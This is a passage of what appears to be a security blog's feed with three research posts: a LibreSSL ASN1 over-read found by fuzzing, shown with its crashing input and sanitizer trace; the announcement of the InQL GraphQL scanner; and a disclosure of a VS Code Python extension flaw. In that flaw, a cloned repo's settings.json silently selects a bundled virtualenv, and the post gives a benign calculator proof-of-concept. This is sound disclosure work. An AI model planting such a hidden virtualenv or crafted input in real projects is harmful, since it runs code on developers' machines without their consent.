        &lt;img src=&quot;../../../public/images/oss-fuzz.png&quot; title=&quot;OSS-Fuzz Fuzzying Process&quot; alt=&quot;OSS-Fuzz Fuzzying Process&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Fuzzing&quot;&gt;Fuzz testing&lt;/a&gt; is a well-known technique for uncovering programming errors in software.
Many of these detectable errors, like &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow&quot;&gt;buffer overflows&lt;/a&gt;, can have serious security implications.
&lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt; included fuzzers in &lt;a href=&quot;https://github.com/openssl/openssl/commit/c38bb72797916f2a0ab9906aad29162ca8d53546&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c38bb72797916f2a0ab9906aad29162ca8d53546&lt;/code&gt;&lt;/a&gt; and was integrated into &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; later in 2016.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;commit c38bb72797916f2a0ab9906aad29162ca8d53546
Refs: OpenSSL_1_1_0-pre5-217-gc38bb72797
Author:     Ben Laurie &amp;lt;ben@links.org&amp;gt;
AuthorDate: Sat Mar 26 17:19:14 2016 +0000
Commit:     Ben Laurie &amp;lt;ben@links.org&amp;gt;
CommitDate: Sat May 7 18:13:54 2016 +0100
    Add fuzzing!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since both &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; and &lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt; share most of their codebase, with &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; mainly implementing a secure subset
of OpenSSL, we thought porting the &lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt; fuzzers to &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; would have been a fun and useful project.
Moreover, this resulted in the discovery of several memory related corruption bugs.&lt;/p&gt;

&lt;p&gt;To be noted, the following details won’t replace the official &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; guide but will instead help in selecting a good target project for
&lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; integration. Generally speaking applying for a new &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; integration proceeds in four logical steps:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Selection:&lt;/strong&gt; Select a new project that isn’t yet ported. Check for existing projects in &lt;a href=&quot;https://github.com/google/oss-fuzz/tree/master/projects&quot;&gt;OSS-Fuzz projects directory&lt;/a&gt;. For example, check if somebody already tried to perform the same integration in a &lt;a href=&quot;https://github.com/google/oss-fuzz/pulls&quot;&gt;pull-request&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Feasibility:&lt;/strong&gt; Check the feasibility and the security implications of that project on the Internet. As a general guideline,  the more impact the project has on the everyday usage of the web the bigger the bounty will be. At the time of writing, &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; bounties are up to $20,000 with the &lt;a href=&quot;https://www.google.com/about/appsecurity/patch-rewards/&quot;&gt;Google patch-reward program&lt;/a&gt;. On the other hand, good coverage is expected to be developed for any integration. For this reason it is easier to integrate projects that already employ fuzzers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Technical integration:&lt;/strong&gt; Follow the super detailed &lt;a href=&quot;https://google.github.io/oss-fuzz/getting-started/accepting-new-projects/&quot;&gt;getting started guide&lt;/a&gt; to perform an initial integration.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Profit:&lt;/strong&gt; Apply for the &lt;a href=&quot;https://www.google.com/about/appsecurity/patch-rewards/&quot;&gt;Google patch-reward program&lt;/a&gt;. Profit?!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We were awarded a bounty, and we helped to protect the Internet just a little bit more. You should do it too!&lt;/p&gt;

&lt;h2 id=&quot;heartbreak&quot;&gt;Heartbreak&lt;/h2&gt;

&lt;p&gt;After a crash was found, &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz infrastructure&lt;/a&gt; provides a minimized test case which can be inspected by an analyst.
The issue was found in the &lt;a href=&quot;https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx&quot;&gt;ASN1 parser&lt;/a&gt;. &lt;a href=&quot;https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx&quot;&gt;ASN1&lt;/a&gt; is a formal notation used for describing data transmitted by telecommunications protocols, regardless of language implementation and physical representation of these data, whether complex or very simple. Coincidentally, it is employed for &lt;a href=&quot;https://www.itu.int/rec/T-REC-X.509&quot;&gt;x.509 certificates&lt;/a&gt;, which represents the technical base for building &lt;a href=&quot;https://en.wikipedia.org/wiki/Public_key_certificate&quot;&gt;public-key infrastructure&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Passing our testcase &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0202 ff25&lt;/code&gt; through &lt;a href=&quot;https://manpages.debian.org/stretch/dumpasn1/dumpasn1.1.en.html&quot;&gt;dumpasn1&lt;/a&gt; it’s possible to see how it errors out saying that the integer of length 2 (bytes) is encoded with a negative value.
This is not allowed in &lt;a href=&quot;https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx&quot;&gt;ASN1&lt;/a&gt;, and it should not even be allowed in &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt;. However, as discovered by &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt;, this test crashes the &lt;a href=&quot;https://www.libressl.org/&quot;&gt;Libressl parser&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;xxd ./test
xxd ../test
00000000: 0202 ff25                                ...%
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;dumpasn1 ./test
  0   2: INTEGER 65317
       :   Error: Integer is encoded as a negative value.

0 warnings, 1 error.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since the LibreSSL implementation was not guarded against negative integers, trying to covert the ASN1 integer crafted a negative to an internal representation of BIGNUM and causes an uncontrolled over-read.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==1==ERROR: AddressSanitizer: SEGV on unknown address 0x00009fff8000 (pc 0x00000058a308 bp 0x7ffd3e8b7bb0 sp 0x7ffd3e8b7b40 T0)
    ==1==The signal is caused by a READ memory access.
    SCARINESS: 20 (wild-addr-read)
        #0 0x58a307 in BN_bin2bn libressl/crypto/bn/bn_lib.c:601:19
        #1 0x6cd5ac in ASN1_INTEGER_to_BN libressl/crypto/asn1/a_int.c:456:13
        #2 0x6a39dd in i2s_ASN1_INTEGER libressl/crypto/x509v3/v3_utl.c:175:16
        #3 0x571827 in asn1_print_integer_ctx libressl/crypto/asn1/tasn_prn.c:457:6
        #4 0x571827 in asn1_primitive_print libressl/crypto/asn1/tasn_prn.c:556
        #5 0x571827 in asn1_item_print_ctx libressl/crypto/asn1/tasn_prn.c:239
        #6 0x57069a in ASN1_item_print libressl/crypto/asn1/tasn_prn.c:195:9
        #7 0x4f4db0 in FuzzerTestOneInput libressl.fuzzers/asn1.c:282:13
        #8 0x7fd3f5 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:529:15
        #9 0x7bd746 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/libfuzzer/FuzzerDriver.cpp:286:6
        #10 0x7c9273 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:715:9
        #11 0x7bcdbc in main /src/libfuzzer/FuzzerMain.cpp:19:10
        #12 0x7fa873b8282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/libc-start.c:291
        #13 0x41db18 in _start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This “wild” address read may be employed by malicious actors to perform leaks in security sensitive context. The &lt;a href=&quot;https://www.libressl.org/&quot;&gt;Libressl&lt;/a&gt; maintainers team not only addressed the vulnerability promptly but also included an ulterior protection in order to guard against missing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASN1_PRIMITIVE_FUNCS&lt;/code&gt; in &lt;a href=&quot;https://github.com/libressl-portable/openbsd/commit/46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;commit 46e7ab1b335b012d6a1ce84e4d3a9eaa3a3355d9
Author: jsing &amp;lt;&amp;gt;
Date:   Mon Apr 1 15:48:04 2019 +0000

    Require all ASN1_PRIMITIVE_FUNCS functions to be provided.

    If an ASN.1 item provides its own ASN1_PRIMITIVE_FUNCS functions, require
    all functions to be provided (currently excluding prim_clear). This avoids
    situations such as having a custom allocator that returns a specific struct
    but then is then printed using the default primative print functions, which
    interpret the memory as a different struct.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;closing-the-door-to-strangers&quot;&gt;Closing the door to strangers&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Fuzzing&quot;&gt;Fuzzing&lt;/a&gt;, despite being seen as one of the easiest ways to discover security vulnerabilities, still works very well. Even if &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; is especially tailored to open source projects, it can also be
adapted to closed source projects. In fact, at the cost of implementing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LLVMFuzzerOneInput&lt;/code&gt; interface, it integrates all the latest and greatest clang/llvm fuzzer technology.
As Dockerfile language improves enormously on the devops side, we strongly believe that the &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; fuzzing
interface definition language should be employed in every non-trivial closed source project too. If you need help, contact us for your &lt;a href=&quot;https://doyensec.com/automation.html&quot;&gt;security automation&lt;/a&gt; projects!&lt;/p&gt;

&lt;p&gt;As always, this research was funded thanks to the &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;25% research time offered at Doyensec&lt;/a&gt;. Tune in again for new episodes!&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>InQL Scanner</title>
   <link href="https://blog.doyensec.com/2020/03/26/graphql-scanner.html"/>
   <updated>2020-03-26T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/03/26/graphql-scanner</id>
   <content type="html">&lt;h3 id=&quot;inql-is-now-public&quot;&gt;InQL is now public!&lt;/h3&gt;

&lt;p&gt;As a part of our continuing security research journey, we started developing an internal tool to speed-up GraphQL security testing efforts. We’re excited to announce that InQL is &lt;a href=&quot;https://github.com/doyensec/inql&quot;&gt;available on Github&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/dslovegraphql.jpg&quot; title=&quot;Doyensec Loves GraphQL&quot; alt=&quot;Doyensec Loves GraphQL&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;InQL can be used as a stand-alone script, or as a &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt; extension (available for both Professional and Community editions).
The tool leverages GraphQL built-in &lt;a href=&quot;https://graphql.org/learn/introspection/&quot;&gt;introspection query&lt;/a&gt; to dump &lt;em&gt;queries&lt;/em&gt;, &lt;em&gt;mutations&lt;/em&gt;, &lt;em&gt;subscriptions&lt;/em&gt;, fields, arguments and retrieve default and custom objects.
This information is collected and then processed to construct API endpoints documentation in the form of HTML and JSON schema. InQL is also able to generate query templates for all the known types. The scanner has the ability to identify basic query types and replace them with placeholders that will render the query ready to be ingested by a remote API endpoint.&lt;/p&gt;

&lt;p&gt;We believe this feature, combined with the ability to send query templates to Burp’s Repeater, will decrease the time to exploit vulnerabilities in GraphQL endpoints and drastically lower the bar for security research against GraphQL tech stacks.&lt;/p&gt;

&lt;h3 id=&quot;inql-scanner-burp-suite-extension&quot;&gt;InQL Scanner Burp Suite Extension&lt;/h3&gt;

&lt;p&gt;Using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inql&lt;/code&gt; extension for Burp Suite, you can:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Search for known GraphQL URL paths; the tool will grep and match known values to detect GraphQL endpoints within the target website&lt;/li&gt;
  &lt;li&gt;Search for exposed GraphQL development consoles (&lt;em&gt;GraphiQL&lt;/em&gt;, &lt;em&gt;GraphQL Playground&lt;/em&gt;, and other common utilities)&lt;/li&gt;
  &lt;li&gt;Use a custom GraphQL tab displayed on each HTTP request/response containing GraphQL&lt;/li&gt;
  &lt;li&gt;Leverage the template generation by sending those requests to Burp’s Repeater tool&lt;/li&gt;
  &lt;li&gt;Configure the tool by using a custom settings tab&lt;/li&gt;
&lt;/ul&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;/public/images/inql_preview.png&quot;&gt;
    &lt;source src=&quot;/public/images/inql_demo.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;

&lt;h4 id=&quot;enabling-inql-scanner-extension-in-burp&quot;&gt;Enabling InQL Scanner Extension in Burp&lt;/h4&gt;

&lt;p&gt;To use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inql&lt;/code&gt; in Burp Suite, import the Python extension:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Download the latest &lt;a href=&quot;https://www.jython.org/download&quot;&gt;Jython&lt;/a&gt; Jar&lt;/li&gt;
  &lt;li&gt;Download the latest version of &lt;a href=&quot;https://github.com/doyensec/inql/releases/&quot;&gt;InQL scanner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Start Burp Suite&lt;/li&gt;
  &lt;li&gt;Extender Tab &amp;gt; Options &amp;gt; Python Enviroment &amp;gt; Set the location of Jython standalone JAR&lt;/li&gt;
  &lt;li&gt;Extender Tab &amp;gt; Extension &amp;gt; Add &amp;gt; Extension Type &amp;gt; Select Python&lt;/li&gt;
  &lt;li&gt;Extension File &amp;gt; Set the location of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inql_burp.py&lt;/code&gt; &amp;gt; Next&lt;/li&gt;
  &lt;li&gt;The output window should display the following message: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InQL Scanner Started!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the next future, we might consider integrating the extension within Burp’s BApp Store.&lt;/p&gt;

&lt;h3 id=&quot;inql-demo&quot;&gt;InQL Demo&lt;/h3&gt;

&lt;p&gt;We completely revamped the command line interface in light of InQL’s public release. This interface retains most of the Burp plugin functionalities.&lt;/p&gt;

&lt;p&gt;It is now possible to install the tool with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip&lt;/code&gt; and run it through your favorite CLI.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pip install inql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For all supported options, check the command line help:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;usage: inql &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; TARGET] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; SCHEMA_JSON_FILE] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; KEY] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; PROXY]
            &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; HEADERS HEADERS] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--generate-html&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--generate-schema&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--generate-queries&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--insecure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; OUTPUT_DIRECTORY]

InQL Scanner

optional arguments:
  &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt;, &lt;span class=&quot;nt&quot;&gt;--help&lt;/span&gt;            show this &lt;span class=&quot;nb&quot;&gt;help &lt;/span&gt;message and &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; TARGET             Remote GraphQL Endpoint &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;https://&amp;lt;Target_IP&amp;gt;/graphql&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; SCHEMA_JSON_FILE   Schema file &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;JSON format
  &lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; KEY                API Authentication Key
  &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; PROXY              IP of web proxy to go through &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;http://127.0.0.1:8080&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; HEADERS HEADERS
  &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;                    Replace known GraphQL arguments types with placeholder
                        values &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;useful &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;Burp Suite&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--generate-html&lt;/span&gt;       Generate HTML Documentation
  &lt;span class=&quot;nt&quot;&gt;--generate-schema&lt;/span&gt;     Generate JSON Schema Documentation
  &lt;span class=&quot;nt&quot;&gt;--generate-queries&lt;/span&gt;    Generate Queries
  &lt;span class=&quot;nt&quot;&gt;--insecure&lt;/span&gt;            Accept any SSL/TLS certificate
  &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; OUTPUT_DIRECTORY   Output Directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An example query can be performed on one of the numerous &lt;a href=&quot;https://github.com/APIs-guru/graphql-apis&quot;&gt;exposed APIs&lt;/a&gt;, e.g &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anilist.co&lt;/code&gt; endpoints:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ $ &lt;/span&gt;inql &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; https://anilist.co/graphql
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Writing Queries Templates
 |  Page
 |  Media
 |  MediaTrend
 |  AiringSchedule
 |  Character
 |  Staff
 |  MediaList
 |  MediaListCollection
 |  GenreCollection
 |  MediaTagCollection
 |  User
 |  Viewer
 |  Notification
 |  Studio
 |  Review
 |  Activity
 |  ActivityReply
 |  Following
 |  Follower
 |  Thread
 |  ThreadComment
 |  Recommendation
 |  Like
 |  Markdown
 |  AniChartUser
 |  SiteStatistics
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Writing Queries Templates
 |  UpdateUser
 |  SaveMediaListEntry
 |  UpdateMediaListEntries
 |  DeleteMediaListEntry
 |  DeleteCustomList
 |  SaveTextActivity
 |  SaveMessageActivity
 |  SaveListActivity
 |  DeleteActivity
 |  ToggleActivitySubscription
 |  SaveActivityReply
 |  DeleteActivityReply
 |  ToggleLike
 |  ToggleLikeV2
 |  ToggleFollow
 |  ToggleFavourite
 |  UpdateFavouriteOrder
 |  SaveReview
 |  DeleteReview
 |  RateReview
 |  SaveRecommendation
 |  SaveThread
 |  DeleteThread
 |  ToggleThreadSubscription
 |  SaveThreadComment
 |  DeleteThreadComment
 |  UpdateAniChartSettings
 |  UpdateAniChartHighlights
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Writing Queries Templates
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Writing Queries Templates
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The resulting HTML documentation page will contain details for all available queries, mutations, and subscriptions.&lt;/p&gt;

&lt;h4 id=&quot;stay-tuned&quot;&gt;Stay tuned!&lt;/h4&gt;

&lt;p&gt;Back in May 2018, we published a &lt;a href=&quot;https://blog.doyensec.com/2018/05/17/graphql-security-overview.html&quot;&gt;blog post&lt;/a&gt; on GraphQL security where we focused on vulnerabilities and misconfigurations. As part of that research effort, we developed a simple script to query GraphQL endpoints. After the publication, we received a lot of positive feedbacks that sparked even more interest in further developing the concept. Since then, we have refined our GraphQL testing methodologies and tooling. As part of our standard customer engagements, we often perform testing against GraphQL technologies, hence we expect to continue our research efforts in this space. Going forward, we will keep improving detection and make the tool more stable.&lt;/p&gt;

&lt;p&gt;This project was made with love in the &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;Doyensec Research island&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Don't Clone That Repo: Visual Studio Code^2 Execution</title>
   <link href="https://blog.doyensec.com/2020/03/16/vscode_codeexec.html"/>
   <updated>2020-03-16T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/03/16/vscode_codeexec</id>
   <content type="html">&lt;p&gt;This is the story of how I stumbled upon a code execution vulnerability in the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-python.python&quot;&gt;Visual Studio Code Python&lt;/a&gt; extension. It currently has &lt;strong&gt;16.5M+&lt;/strong&gt; installs reported in the extension marketplace.&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;/public/images/VSCode_RCE_2020Q1_PoC_snapshot.jpg&quot;&gt;
    &lt;source src=&quot;/public/images/VSCode_RCE_2020Q1_PoC.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-bug&quot;&gt;The bug&lt;/h2&gt;

&lt;p&gt;Some time ago I was reviewing a client’s Python web application when I noticed a warning&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/pylint_not_installed_warning.png&quot; alt=&quot;VSCode pylint not installed warning&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fair enough, I thought, I just need to install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pylint&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To my surprise, after running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install --user pylint&lt;/code&gt; the warning was still there.
Then I noticed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;venv-test&lt;/code&gt; displayed on the lower-left of the editor window. Did VSCode just automatically select the Python environment from the project folder?! To confirm my hypothesis, I installed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pylint&lt;/code&gt; inside that virtualenv and the warning disappeared.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/pylint_not_installed_warning_fullscreen.png&quot; alt=&quot;VSCode pylint not installed warning full window screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This seemed sketchy, so I added &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os.exec(&quot;/Applications/Calculator.app&quot;)&lt;/code&gt; to one of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pylint&lt;/code&gt; sources and a calculator spawned. &lt;strong&gt;Easiest code execution ever!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;VSCode behaviour is dangerous since the virtualenv found in a project folder is activated without user interaction. Adding a malicious folder to the workspace and opening a python file inside the project is sufficient to trigger the vulnerability.
Once a virtualenv is found, VSCode saves its path in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vscode/settings.json&lt;/code&gt;. If found in the cloned repo, this value is loaded and trusted without asking the user. In practice, it is possible to hide the virtualenv in any repository.&lt;/p&gt;

&lt;p&gt;The behavior is not in VSCode core, but rather in the Python extension. We contacted Microsoft on the 2nd October 2019, however &lt;strong&gt;the vulnerability is still not patched&lt;/strong&gt; at the time of writing. Given that the industry-standard 90 days expired and the issue is exposed in a &lt;a href=&quot;https://github.com/microsoft/vscode-python/issues/7805&quot;&gt;GitHub issue&lt;/a&gt;, we have decided to disclose the vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;poc--gtfo&quot;&gt;PoC || GTFO&lt;/h2&gt;

&lt;p&gt;You can try for yourself! This innocuous PoC repo opens &lt;em&gt;Calculator.app&lt;/em&gt; on macOS:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;1) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone git@github.com:doyensec/VSCode_PoC_Oct2019.git&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;2) add the cloned repo to the VSCode workspace&lt;/li&gt;
  &lt;li&gt;3) open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.py&lt;/code&gt; in VScode&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This repo contains a “malicious” settings.json which selects the virtualenv in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;totally_innocuous_folder/no_seriously_nothing_to_see_here&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In case of a bare-bone repo like this noticing the virtualenv might be easy, but it’s clear to see how one might miss it in a real-life codebase. Moreover, it is certainly undesirable that VSCode executes code from a folder by just opening a Python file in the editor.&lt;/p&gt;

&lt;h2 id=&quot;disclosure-timeline&quot;&gt;Disclosure Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;2nd Oct 2019&lt;/em&gt;: Issue discovered&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;2nd Oct 2019&lt;/em&gt;: Security advisory sent to Microsoft&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;8th Oct 2019&lt;/em&gt;: Response from Microsoft, issue opened on vscode-python bug tracker &lt;a href=&quot;https://github.com/microsoft/vscode-python/issues/7805&quot;&gt;#7805&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;7th Jan 2020&lt;/em&gt;: Asked Microsoft for a resolution timeframe&lt;/li&gt;
